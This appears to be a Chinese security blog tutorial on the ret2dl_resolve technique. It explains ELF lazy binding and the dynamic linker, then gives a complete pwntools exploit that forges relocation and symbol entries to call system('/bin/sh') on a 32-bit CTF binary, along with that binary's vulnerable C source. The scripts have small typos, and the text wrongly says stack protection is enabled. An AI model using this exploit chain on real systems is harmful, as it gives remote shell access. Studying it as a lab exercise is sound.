七叶笔记 » golang编程 » ret2_dl_resolve原理和案例分析

ret2_dl_resolve原理和案例分析

原创: 华电合粉俱乐部 合天智汇

从一个简单程序说起

在只有一个二进制程序 dl_resolve 的情况下, 先侦查一下程序

file 看一下dl_resolve

(stripped 表示符号表已被删除, 在调试的时候就不能直接在函数名上打断点,因为函数名(符号) 已经被删除)。

根据编译命令我们得知,dl_resolve 开了堆栈保护但没有开启PIE(就算系统开启ASLR也没关系), 再次确认一下

图1

到此为止,外围的侦查已经完成。

获取的信息有:

1、32位程序。

2、堆栈不可执行。

3、没有地址随机化。

4、只有二进制程序。(没有lib.so 意味着没有办法泄露地址)。

接下来将程序放到IDA中分析

图2

图3

可以看到程序非常简单, 在函数 sub_80484EB() 存在 栈溢出

图4

(buf的空间 0x6c 小于 输入的最大长度 0x100 造成栈溢出)。 溢出我们可以控制sub_80484EB() 的函数地址, 但问题是返回到那个地址? 即使我们可以返回到通用gadget的位置, 因为没有库文件没办法泄露 system () 的地址,最终也是无法getshell。所以我们要另辟蹊径, 在2015年国外大神在一篇论文中提出了劫持动态链接器,让动态链接器去解析我们指定函数的地址并且执行该函数。 如果放在这个题目上我们可以控制动态链接器去解析system函数的地址,然后执行system函数,这样就能getshell了。

动态链接器是如何解析函数地址的(以read函数为例)

先简单说下动态链接器的概念,我们现在在Linux平台下看到的程序大都是ELF文件格式的。 而且大部分是动态链接的,动态链接的出现主要是为了解决内存的浪费问题。 在静态链接时期程序所依赖的库都是直接链接到二进制程序里的。 比如有两个helloworld的程序都用到了 printf 函数,如果是静态链接那么在这两个的程序的内存空间里都包含printf函数。 但如果是动态链接的话,两个程序各只引用printf这个符号。 然后内存保存printf函数的一份拷贝,这样就节省了一部分空间。在helloworld程序运行的时候就需要把真正的printf函数的地址填充到hellworld程序中去。 做这个工作的正是动态链接器。

言归正传,为了更加清楚的演示。 我们使用gdb来调试dl_resolve 。

在 0x80484eb 处下断点,运行到如下图所示处:

图5

图6

然后 si 跟进

图7

此时查看一下0x804a014地址处的内容

图8

发现内容值正好是下一条指令的地址,为什么是这样我们稍后解析。再继续执行。

图9

到这之后我们再次查看0x804a014地址处的内容

图10

发现内容已经更改。更改的内容正是read函数在内存中真正的地址。然后再继续往下执行,然后看到

图11

此时已经开始执行read函数了。以上过程展示了动态链接器解析和执行read函数的过程。接下来我们仔细探究这一过程。

延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,所以在程序开始执行前,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位。为了提高动态链接的效率ELF文件采用 延迟绑定 的技术,其基本思想就是当函数第一次被用到时才进行绑定(符号查找,重定位等)。 ELF使用PLT(Procedure Linkage Table)来实现延迟绑定。在图4 中看到的 read@plt 就表示了对于read函数的调用采用了延迟绑定的方法。一般来说外部函数逇plt实现如下(以read为例)

read@plt:
 jmp *(read@GOT)
 push n
 push 保存当前程序的.
 dynamic 
的link_map指针
 jump _dl_runtime_resolve()
 

(后面这两行统一被放在PLT表开始, 因为所有的外部函数PLT表项都含这两行)read@Got 代表Got表中存储read函数地址的地址(外部函数的地址都在Got表中存储),延迟绑定的具体过程是:在调用read函数前 read@Got填充的是下一条指令的地址,比如ds:0x804a010 的内容是0x80483a6 就是相对于当前指令的下一条指令地址。这样相当于没跳转,接着开始执行符号解析的过程,当解析出真正的read函数地址,填充到read@Got,然后跳转到read@Got保存的地址处执行read函数。

对应到图6 我们看到

图12

图13

Got表的前两项有特殊意义:

GOT[1]:一个指向内部数据结构的指针,类型是 linkmap,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 linfo域中保存了 .dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。

GOT[2]:一个指向动态装载器中 dlruntimeresolve 函数的指针。PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。函数使用参数 linkmapobj 来获取解析导入函数(使用 relocindex 参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 dlruntime_resolve解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。

动态链接器进行符号解析的过程

dlruntime_resolve 的过程如下图所示:

图14

在解释这张图之前我了解图上的符号都是什么意思。ELF中有几个段是专门用于动态链接的,比如.dynamic段,.dynsym段(动态链接符号表),.dynstr(动态链接字符串表)。 已经和重定位有关的 .rel.dyn 和 .rel.plt 前者保存数据引用的重定位信息,所修正的位置位于.got以及数据段。后者保存函数引用的重定位信息,所修正的位置位于.got.plt。下面一次介绍下这几个段的数据结构:

 typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */union
{ 
Elf32_Word d_val; /* Integer value */ 
Elf32_Addrd_ptr; /* Address value */ } d_un;
 } Elf32_Dyn

 

Elf32_Dyn 结构由一个类型值加上一个附加的数据或指针,对于不同类型,后面附加的数值或者指针有着不同含义,列举几个比较常见的类型值

typedef struct
{
 Elf32_Word st_name; /* Symbol name (string tbl index
) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */Elf32_Section st_shndx; /* Section index */} Elf32_Sym
 

动态链接符号表和符号表的数据接口相同的,只不过前者只包含与动态链接有关的符号,下面对各个成员的意义进行说明:

符号类型和绑定信息(st_info):该成员低4位表示符号的类型,高4位表示符号绑定信息(此处《程序员的自我修养》P82页表述是高28位表示符号绑定信息,但unsigned char 就占8位啊。 ),如下表所示

typedef struct
{
Elf32_Addr r_offset; /* Address */lf32_Word r_info; /* Relocation type and symbol index */} Elf32_Rel;
 

dynstr表就是用于集中存储和动态链接相关的字符串。 然后使用字符串在表中的偏移来引用字符串。

图11中表示的dlruntime_resolve(动态链接器) 的工作过程如下:

首先根据relocindex 获取符号在重定位表中的表项地址。 获取符号地址的存放位置(roffset),以及该符号的类型和动态链接符号表表项的偏移(Elf32Sym)。接着根据符号表项中的信息获取该符号的符号名在动态链接字符串表中的下标(stname),以及该符号的符号类型和绑定信息。然后调用 _fixup() 函数找到该符号在内存中的真正地址,并填充到r_offset指定的位置(Got表),最后跳转真正的函数入口处执行。

总结一下:动态链接器进行符号解析用到的关键信息有 relocindex,Elf32Rel ,Elf32Sym , 已经符号名字符串。最最关键的是relocindex, 动态链接器同构relocindex 去找要进行重定位的符号。 问题在于动态链接器并没检查relocindex(貌似也没法检查)。在32位系统上relocindex 是通过通过压栈传递的。 所以只要存在栈溢出,就可以将自定义的relocindex提前布置到栈上,覆盖返回地址到PLT[0]。就可以让动态链接器去我们指定的位置找重定位表项, 符号表项,符号名。只要伪造的这些表项正确, 那么动态链接器就可以解析出我们想要解析的符号,比如System。进而getshell。

ret2dlresove漏洞利用

了解了动态链接器的工作原理和利用思路,接下来以文章最开始提到的程序作为练习。

1. 确定ret地址

我们要让程序解析system函数的地址,就需要让程序将我们伪造的 system 的重定位表项,符号表, 符号名以及system的参数读入内存中。因此首先控制sub_80484EB()函数返回到read函数执行。

from pwn import *
import pdb
context.log_level = 'debug'
#context.terminal = ['tmux', 'spiltw', '-h']
elf = ELF('./dl_resolve')
pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret
pop_ebp_addr = 0x0804860b # pop ebp ; ret
leave_ret_addr = 0x08048458 # leave ; ret
read_plt = elf.plt['read']
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
base_addr = bss_addr + 0x550 #存在伪造表项内存地址
payload_1 = "A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr) #调整堆栈
payload_1 += p32(0) # 第一个参数 stdin
payload_1 += p32(base_addr) # 第二个参数 buf
payload_1 += p32(100) # 第三个参数 len
payload_1 += p32(pop_ebp_addr) # 与 leave_ret_addr 配合完成堆栈转移
payload_1 += p32(base_addr) # 
payload_1 += p32(leave_ret_addr)
io.send(payload_1)
 

2. 伪造表项

计算偏移的公式为:offset= 目的– 基址。根据上文对各个表项结构的分析我们有:

plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
# 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
reloc_index = base_addr + 28 - rel_plt # 28是个自定义的数字,表示rel的偏移 
fake_sym_addr = base_addr + 36 # 36是个自定义的数字,表示 fake_sym的偏移
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #因为符号表每项的大小正好是 16字节,
fake_sym_addr = fake_sym_addr + align # 伪造的地址应该也和16字节对齐
r_sym = (fake_sym_addr - dynsym) / 0x10 # 计算下标
r_type = 0x7 # 对应函数 此值是固定的
r_info = (r_sym << 8) + (r_type & 0xff) 
fake_reloc = p32(read_got) + p32(r_info) #此处借用read@got在存system地址
st_name = fake_sym_addr + 0x10 - dynstr # system字符串存储的位置
st_bind = 0x1 # 含义见上文符号绑定信息
st_type = 0x2 # 含义见上文符号类型
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) #真正用到的是 st_name 和 st_info 
 

3. 读入伪造的表项

payload_2 = "AAAA" #堆栈转移后ebp的内容
payload_2 += p32(plt_0) #leave_ret 到 plt_0
payload_2 += p32(reloc_index)
payload_2 += "AAAA" #call read@plt 的返回地址 
payload_2 += p32(base_addr + 80) # system的参数 
payload_2 += "AAAA"
payload_2 += "AAAA"
payload_2 += fake_reloc
payload_2 += "A" * align
payload_2 += fake_sym
payload_2 += "system\x00"
payload_2 += "A" * (80 - len(payload_2))
payload_2 += "/bin/sh\x00" # 参数字符串
payload_2 += "A" * (100 - len(payload_2))
#pdb.set_trace()
io.sendline(payload_2)
io.interactive()
 

4. getshell

先模拟程序远程启动:

socat tcp4-listen:10001,reuseaddr,fork exec:./dl_resolve &

执行脚本 获取shell

图15

5. 调试建议:

1) 建议使用gdb.debug() 函数来本地调试, 方便下断点。

2) 利用pdb在exp设断点, 可以在脚本调试过程中断下。 方便我们查看内存。

最后附上利用过程图示和源码

图:16请忽略文字部分

from pwn import *
import pdb
context.log_level = 'debug'
#context.terminal = ['tmux', 'spiltw', '-h']
elf = ELF('./dl_resolve')
pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret
pop_ebp_addr = 0x0804860b # pop ebp ; ret
leave_ret_addr = 0x08048458 # leave ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
# 0x80483e0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
# 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
# 0x804828c
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
# 0x804a028
#io = gdb.debug('./dl_resolve', 'b main')
#io = process('./dl_resolve')
io = remote('127.0.0.1', 10001)
#base_addr = bss_addr + 0x600 # 0x804a628
base_addr = bss_addr + 0x550
payload_1 = "A" * 112
payload_1 += p32(read_plt)
payload_1 += p32(pppr_addr)
payload_1 += p32(0)
payload_1 += p32(base_addr)
payload_1 += p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(base_addr)
payload_1 += p32(leave_ret_addr)
io.send(payload_1)
reloc_index = base_addr + 28 - rel_plt
fake_sym_addr = base_addr + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_sym = (fake_sym_addr - dynsym) / 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr 
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload_2 = "AAAA"
payload_2 += p32(plt_0)
payload_2 += p32(reloc_index)
payload_2 += "AAAA" #return_addr
payload_2 += p32(base_addr + 80) #arg
payload_2 += "AAAA"
payload_2 += "AAAA"
payload_2 += fake_reloc
payload_2 += "A" * align
payload_2 += fake_sym
payload_2 += "system\x00"
ayload_2 += "A" * (80 - len(payload_2))
payload_2 += "/bin/sh\x00"
payload_2 += "A" * (100 - len(payload_2))
#pdb.set_trace()
io.sendline(payload_2)
io.interactive()
 

dl_resolve.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF~!\n";
 setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
# gcc dl_resolve.c -o dl_resolve -fno-stack-protector -no-pie -s -m32
 

参考资料:

《程序员的自我修养》

欢迎各位童鞋就文章中的问题一起交流,一起happy!

联系我: 18511771015@163.com 。

本文为合天原创,未经允许,严禁转载

相关文章